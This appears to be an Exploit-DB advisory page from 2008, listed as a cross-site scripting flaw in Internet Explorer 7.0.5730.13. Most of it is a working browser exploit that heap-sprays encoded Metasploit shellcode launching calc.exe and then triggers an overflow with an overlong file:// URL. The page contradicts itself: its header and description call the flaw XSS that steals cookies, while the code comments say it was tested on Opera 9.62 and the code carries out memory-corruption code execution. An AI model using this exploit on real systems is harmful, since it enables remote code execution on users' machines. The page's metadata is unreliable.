Microsoft Internet Explorer 7.0.5730.13 XSS Vulnerability

vendor:

Internet Explorer

by:

milw0rm.com

9.3

CVSS

HIGH

Cross-site Scripting (XSS)

CWE

Product Name: Internet Explorer

Affected Version From: 7.0.5730.13

Affected Version To: 7.0.5730.13

Patch Exists: YES

Related CWE: CVE-2008-4844

CPE: a:microsoft:internet_explorer:7.0.5730.13

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Microsoft Internet Explorer 7.0.5730.13 XSS Vulnerability

A cross-site scripting vulnerability exists in Microsoft Internet Explorer 7.0.5730.13. This issue is due to a failure of the application to properly sanitize user-supplied input before using it in dynamically generated content. An attacker can exploit this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

The vendor has released a patch to address this issue. Users are advised to upgrade to the latest version of the software.

Source

Exploit-DB raw data:

<html>
<head><title>uh?</title></head>
<body>
<script>

	
	// k`sOSe 11/15/2008
	// tested on Windows XP SP3, opera 9.62 international version
	// vulnerability found by send9

	// there are many ways to achieve code execution, tons of function pointers to overwrite.
	// maybe there's one more reliable...

	var i=0;
	
	// push es, pop es
	var block = unescape("%u0607%u0607"); 

	// metasploit WinExec c:\WINDOWS\system32\calc.exe
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

	while (block.length < 81920) block += block;
	var memory = new Array();
	for (;i<1000;i++) memory[i] += (block + shellcode);


	var evil = "file://";

        for(var i = 0; i<16438; i++)
                evil += "X";

	evil += "R."; 

	window.location.replace(evil);

</script>

</body>
</html>

# milw0rm.com [2008-11-17]